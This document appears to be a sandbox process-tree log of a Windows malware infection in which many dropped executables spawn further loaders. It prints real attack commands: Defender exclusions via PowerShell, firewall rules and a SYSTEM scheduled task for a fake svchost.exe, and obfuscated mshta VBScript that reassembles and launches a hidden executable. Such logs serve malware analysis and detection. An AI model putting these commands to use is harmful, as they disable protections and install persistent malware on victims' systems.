C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0xe0,0x104,0x108,0xbc,0x10c,0x7fffea1146f8,0x7fffea114708,0x7fffea11471810⤵PID:8700
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2280 /prefetch:210⤵PID:5824
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2764 /prefetch:810⤵PID:2888
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2332 /prefetch:310⤵PID:5840
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:110⤵PID:7452
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:110⤵PID:7956
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4200 /prefetch:110⤵PID:6488
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5376 /prefetch:110⤵PID:7056
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3764 /prefetch:810⤵PID:8800
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2248,12107899457893473717,1287783604093493159,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3764 /prefetch:810⤵PID:3828
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\0a-811aa-7c5-f84a9-2a7e4fa205f58\Bejaepubowy.exe"C:\Users\Admin\AppData\Local\Temp\0a-811aa-7c5-f84a9-2a7e4fa205f58\Bejaepubowy.exe"8⤵PID:6928
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yhwe4atx.yhy\GcleanerEU.exe /eufive & exit9⤵PID:6572
-
C:\Users\Admin\AppData\Local\Temp\yhwe4atx.yhy\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\yhwe4atx.yhy\GcleanerEU.exe /eufive10⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4540 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4540 -s 23611⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5052
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\x141mmz3.e2s\installer.exe /qn CAMPAIGN="654" & exit9⤵PID:6960
-
C:\Users\Admin\AppData\Local\Temp\x141mmz3.e2s\installer.exeC:\Users\Admin\AppData\Local\Temp\x141mmz3.e2s\installer.exe /qn CAMPAIGN="654"10⤵
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:2056 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\x141mmz3.e2s\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\x141mmz3.e2s\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1636128743 /qn CAMPAIGN=""654"" " CAMPAIGN="654"11⤵PID:5828
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2zdmtjad.vk2\any.exe & exit9⤵PID:3872
-
C:\Users\Admin\AppData\Local\Temp\2zdmtjad.vk2\any.exeC:\Users\Admin\AppData\Local\Temp\2zdmtjad.vk2\any.exe10⤵PID:2592
-
C:\Users\Admin\AppData\Local\Temp\2zdmtjad.vk2\any.exe"C:\Users\Admin\AppData\Local\Temp\2zdmtjad.vk2\any.exe" -u11⤵PID:2028
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ipubpsxj.mmq\gcleaner.exe /mixfive & exit9⤵PID:7336
-
C:\Users\Admin\AppData\Local\Temp\ipubpsxj.mmq\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\ipubpsxj.mmq\gcleaner.exe /mixfive10⤵PID:1348
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1348 -s 24011⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6540
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3kcbkf2b.psr\autosubplayer.exe /S & exit9⤵PID:7016
-
-
-
C:\Program Files\Common Files\CRBPOKOHHG\foldershare.exe"C:\Program Files\Common Files\CRBPOKOHHG\foldershare.exe" /VERYSILENT8⤵PID:6880
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\sMBp7A91ov12YzbkgRtpwODX.exe"C:\Users\Admin\Pictures\Adobe Films\sMBp7A91ov12YzbkgRtpwODX.exe"5⤵PID:2940
-
C:\Users\Admin\Pictures\Adobe Films\sMBp7A91ov12YzbkgRtpwODX.exe"C:\Users\Admin\Pictures\Adobe Films\sMBp7A91ov12YzbkgRtpwODX.exe" -u6⤵PID:7856
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\4sJVMRoh2XvFYLOlja0nQegx.exe"C:\Users\Admin\Pictures\Adobe Films\4sJVMRoh2XvFYLOlja0nQegx.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2560
-
-
C:\Users\Admin\Pictures\Adobe Films\8uwyDq4RzIASixTAPZYZJmwI.exe"C:\Users\Admin\Pictures\Adobe Films\8uwyDq4RzIASixTAPZYZJmwI.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2344
-
-
C:\Users\Admin\Pictures\Adobe Films\ystYIyf3LAEozet_mkeMbreD.exe"C:\Users\Admin\Pictures\Adobe Films\ystYIyf3LAEozet_mkeMbreD.exe"3⤵
- Executes dropped EXE
PID:2696
-
-
C:\Users\Admin\Pictures\Adobe Films\S3hVyTpSyStATNGo3TrVZ9ki.exe"C:\Users\Admin\Pictures\Adobe Films\S3hVyTpSyStATNGo3TrVZ9ki.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:4804 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\4⤵PID:6736
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \4⤵PID:6564
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵PID:4920
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵PID:7048
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Creates scheduled task(s)
PID:1624
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal4⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:2816 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\5⤵PID:6000
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \5⤵PID:5572
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes5⤵PID:2164
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes5⤵PID:7708
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ZDrO50KpNCLpsUulmLanzxOV.exe"C:\Users\Admin\Pictures\Adobe Films\ZDrO50KpNCLpsUulmLanzxOV.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4652
-
-
C:\Users\Admin\Pictures\Adobe Films\boEXMtSc0H_EpwU9srBh1ctk.exe"C:\Users\Admin\Pictures\Adobe Films\boEXMtSc0H_EpwU9srBh1ctk.exe"3⤵
- Executes dropped EXE
PID:4728 -
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"4⤵
- Executes dropped EXE
PID:5396 -
C:\Users\Admin\AppData\Local\2873589.exe"C:\Users\Admin\AppData\Local\2873589.exe"5⤵
- Executes dropped EXE
PID:5912
-
-
C:\Users\Admin\AppData\Local\6404539.exe"C:\Users\Admin\AppData\Local\6404539.exe"5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:7140
-
-
C:\Users\Admin\AppData\Local\2758866.exe"C:\Users\Admin\AppData\Local\2758866.exe"5⤵
- Executes dropped EXE
PID:2276 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\2758866.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\2758866.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))6⤵PID:5244
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\2758866.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\2758866.exe" ) do taskkill -f -Im "%~NXZ"7⤵PID:724
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i8⤵PID:1052
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))9⤵PID:7512
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"10⤵PID:8076
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )9⤵PID:6716
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *10⤵PID:1772
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "11⤵PID:6308
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"11⤵PID:1564
-
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K11⤵PID:3860
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K12⤵
- Loads dropped DLL
PID:7216 -
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K13⤵PID:5272
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K14⤵
- Loads dropped DLL
PID:5336
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "2758866.exe"8⤵
- Kills process with taskkill
PID:5968
-
-
-
-
-
C:\Users\Admin\AppData\Local\2611849.exe"C:\Users\Admin\AppData\Local\2611849.exe"5⤵PID:1616
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"6⤵PID:496
-
-
-
C:\Users\Admin\AppData\Local\6161720.exe"C:\Users\Admin\AppData\Local\6161720.exe"5⤵PID:4616
-
-
-
C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"4⤵PID:5884
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 3005⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6084
-
-
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"4⤵
- Executes dropped EXE
PID:4076 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )5⤵
- Executes dropped EXE
PID:2924 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"6⤵PID:5632
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"7⤵
- Kills process with taskkill
PID:3624
-
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi7⤵
- Executes dropped EXE
PID:3804 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵PID:6384
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"9⤵PID:6928
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )8⤵PID:7820
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC9⤵PID:6012
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "10⤵PID:7484
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"10⤵PID:5904
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC10⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Loads dropped DLL
PID:3644
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"4⤵
- Executes dropped EXE
PID:6092
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"4⤵
- Executes dropped EXE
PID:5948 -
C:\Users\Admin\AppData\Local\Temp\is-TT15C.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-TT15C.tmp\setup.tmp" /SL5="$2032A,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"5⤵PID:3620
-
-
-
C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"4⤵
- Executes dropped EXE
PID:6228
-
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"4⤵PID:1896
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"4⤵PID:6616
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6616 -s 2365⤵
- Program crash
PID:7124
-
-
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6888
-
-
C:\Users\Admin\AppData\Local\Temp\chrome1.exe"C:\Users\Admin\AppData\Local\Temp\chrome1.exe"4⤵
- Executes dropped EXE
PID:7100 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"5⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
PID:5440 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5440 -s 10126⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4596
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\chrome update.exe"C:\Users\Admin\AppData\Local\Temp\chrome update.exe"4⤵
- Executes dropped EXE
PID:3900
-
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"4⤵
- Executes dropped EXE
PID:4080 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4080 -s 17045⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3212
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\o6zEWa0CtF1KjvBgbb_Tn4_k.exe"C:\Users\Admin\Pictures\Adobe Films\o6zEWa0CtF1KjvBgbb_Tn4_k.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5028 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5028 -s 19324⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4404
-
-
-
C:\Users\Admin\Pictures\Adobe Films\e8sIHJtYYbh6Npgujz9tWguG.exe"C:\Users\Admin\Pictures\Adobe Films\e8sIHJtYYbh6Npgujz9tWguG.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5052 -
C:\Users\Admin\Pictures\Adobe Films\e8sIHJtYYbh6Npgujz9tWguG.exe"C:\Users\Admin\Pictures\Adobe Films\e8sIHJtYYbh6Npgujz9tWguG.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5568
-
-
-
C:\Users\Admin\Pictures\Adobe Films\h7kHvYoMhO87j6fFaG42C6p1.exe"C:\Users\Admin\Pictures\Adobe Films\h7kHvYoMhO87j6fFaG42C6p1.exe"3⤵
- Executes dropped EXE
PID:4616 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 2964⤵
- Program crash
PID:5964
-
-
-
C:\Users\Admin\Pictures\Adobe Films\VTxBU9kvc_11oiNVNgZO3Swz.exe"C:\Users\Admin\Pictures\Adobe Films\VTxBU9kvc_11oiNVNgZO3Swz.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:648
-
-
C:\Users\Admin\Pictures\Adobe Films\Q1Iw7NGBXjDO5OMkHG1HYDNH.exe"C:\Users\Admin\Pictures\Adobe Films\Q1Iw7NGBXjDO5OMkHG1HYDNH.exe"3⤵
- Executes dropped EXE
PID:1608 -
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exeC:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe4⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:1592 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"5⤵PID:5216
-
-
-
C:\Users\Admin\AppData\Roaming\Underdress.exeC:\Users\Admin\AppData\Roaming\Underdress.exe4⤵PID:2924
-
C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"5⤵
- Executes dropped EXE
PID:5228
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\IKNZNRMAqUQWUjeHDyftTpOA.exe"C:\Users\Admin\Pictures\Adobe Films\IKNZNRMAqUQWUjeHDyftTpOA.exe"3⤵
- Executes dropped EXE
PID:2644 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 7644⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5468
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3620 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3620 -s 4485⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4424
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ht0nMTNFQ1tFe4ykfsVcsyoI.exe"C:\Users\Admin\Pictures\Adobe Films\ht0nMTNFQ1tFe4ykfsVcsyoI.exe"3⤵
- Executes dropped EXE
PID:4024
-
-
C:\Users\Admin\Pictures\Adobe Films\79EHDGPMMWEeapPnka1VRJAH.exe"C:\Users\Admin\Pictures\Adobe Films\79EHDGPMMWEeapPnka1VRJAH.exe"3⤵
- Executes dropped EXE
PID:4820 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 2764⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6400
-
-
-
C:\Users\Admin\Pictures\Adobe Films\cKNfesBMIdF8xbjJgapm5LeE.exe"C:\Users\Admin\Pictures\Adobe Films\cKNfesBMIdF8xbjJgapm5LeE.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3856
-
-
C:\Users\Admin\Pictures\Adobe Films\BjEs7BqmOorrI7PZG6BFwx9e.exe"C:\Users\Admin\Pictures\Adobe Films\BjEs7BqmOorrI7PZG6BFwx9e.exe"3⤵
